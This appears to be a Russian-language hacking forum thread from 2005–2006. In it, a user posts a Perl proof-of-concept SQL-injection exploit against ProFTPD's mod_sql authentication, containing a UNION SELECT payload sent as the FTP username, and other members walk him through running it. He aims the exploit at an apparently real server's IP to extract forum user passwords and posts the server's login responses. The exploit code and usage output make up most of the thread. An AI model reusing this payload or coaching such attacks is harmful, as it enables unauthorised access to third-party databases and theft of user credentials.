PDA

Просмотр полной версии : sql в ProFTPD


Майор
13.04.2005, 20:26
Есть на одном сайте такая уязвимость :
SQL-инъекция в модуле mod_sql Pro_FTPD сервера. Во время аутентификации к серверу баз данных PostregSQL mod_sql_postreg некорректно обрабатывает escape строки, что позволяет удаленному атакующему в качестве имени пользователя использовать SQL запрос и получить неавторизованный доступ к базе данных на сервере.

Эксплойт написан на perle, в котором я вообще не рублю :( ........ Подскажите как его юзать ? или если кто в курсе мож как-нибудь в ручную дыру можно юзать ?

#!/usr/bin/perl
# Sql inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@raregazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGC<2){
print "\nProof Of Concept Sql Inject on ProFTPD\n";
print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
or die "Can't connect. \n";
if(defined($line=<$remote>)){
print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
};
if(defined($line=<$remote>)){
print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){ #logged in
print "[------- Sql Inject Able \n";
}else{
print "[------- Sql Inject Unable \n";
}
close $remote;

qBiN
13.04.2005, 22:38
Ставь актив перл для винды и юзай,если линукс то там ставь прото перл,если конечно его нет(вроде во всех по умалчанию есть)

Майор
14.04.2005, 00:50
его обязательно на апач надо ставить ?

PinkPanther
14.04.2005, 01:41
его обязательно на апач надо ставить ?Нет конечно. Просто устанавливай ActivePerl, а потом в командной строке набирай, к примеру: H:\my sploits\sploit.pl [параметр] , или если perl не в авто загрузке, то пиши в cmd:
C:\perl\bin\perl.exe H:\my sploits\sploit.pl [параметр]

Майор
18.04.2005, 01:44
1.pl
Bareword found where operator expected at - line 1, near "1.pl"
(Missing operator before pl?)

вот такую ошибку выдаёт...
чё ему нехватает ?

PinkPanther
18.04.2005, 17:20
вот такую ошибку выдаёт...
чё ему нехватает ?хз, я запускал у себя твой сплойт, всё работает............хз

Майор
18.04.2005, 17:27
........
а что ему в качестве парамтра передавать ?

SladerNon
18.04.2005, 17:33
Майор

Может разные версии ActivePerl у тебя и PinkPanter ?

Майор
20.04.2005, 00:37
Скомпилировал с горем пополам :)
но возникла проблема с передачей адреса сервера, как же это зделать ? что ему вообще надо, только ип?

в Си переменной ARGC можно можно передовать значения так : C:\perl\exployt.exe parametr
но в perl так что то неработает...

nerezus
20.04.2005, 06:38
Скомпилировал с горем пополам
Как же это ты так смог? =)
юзай так:
perl script.pl server query

Майор
20.04.2005, 13:04
Как же это ты так смог? =)
юзай так:
perl script.pl server query

вот так и пушу :


C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;

Proof Of Concept Sql Inject on ProFTPD
Usage: perl poc-sqlftp <target> [1=Alternate query]


C:\perl\bin>

.........

зы ip изменён

nerezus
20.04.2005, 14:17
начни так:

#!/usr/bin/perl
use IO::Socket;
print "\nInput your IP: ";
my $server = <stdin>;
chop ($server);
print "\nInput your query: ";
my $query = <stdin>;
chop ($query);


и в середине замени print "Sent query to $ARGV[0]\n"; на print "Sent query to $server\n";

Майор
20.04.2005, 19:49
хорошо к серверу он уже конектится :)


C:\perl\bin>2.pl

Input your IP: 207.248.240.118

Input your query: SELECT user_password FROM phpbb_users
220 ProFTPD 1.2.8 Server (NewAge FTP Server) [serv.ru]
331 Password required for ')UNION.
530 Login incorrect.
Sent query to 207.248.240.118
[------- Sql Inject Unable

Наверно запрос у меня не правельный ?
или дыру каким то макаром прикрыли

nerezus
20.04.2005, 21:05
>или дыру каким то макаром прикрыли
если учитывать возраст сплоита ;)

Майор
20.04.2005, 21:29
лан спасибо запомощь!, буду подругому ковырять :)

m0nzt3r
12.05.2005, 12:17
вот так и пушу :


C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;

Proof Of Concept Sql Inject on ProFTPD
Usage: perl poc-sqlftp <target> [1=Alternate query]


C:\perl\bin>

.........

зы ip изменён
вот когда так пишет т.е. скрипт не запускается это означает что не все или неправильный параметры передал ты скрипту.А так если анейбл то значит дырки нету =)))

ПсиХ
12.07.2006, 21:32
А не подскажете что писать в query ?

zeppe1in
12.07.2006, 22:29
вот так и пушу :


C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;

Proof Of Concept Sql Inject on ProFTPD
Usage: perl poc-sqlftp <target> [1=Alternate query]


C:\perl\bin>


так ты передаёш скрипту не два, а пять параметров. Запрос надо в кавычки.

nerezus
12.07.2006, 22:55
уууууууу.... охренологи(археологи)... )) тему подняли полуторолетнюю ))

ПсиХ
12.07.2006, 23:20
Ну дык Интересно ))) Я вот некоторые нюансы не понимаю, а объяснить некому(((

Например: ччто именно я должен вводит в query при использование эксплоита :?

как узнать в какой категории (название) хранится пароль, или логинн пользователя ?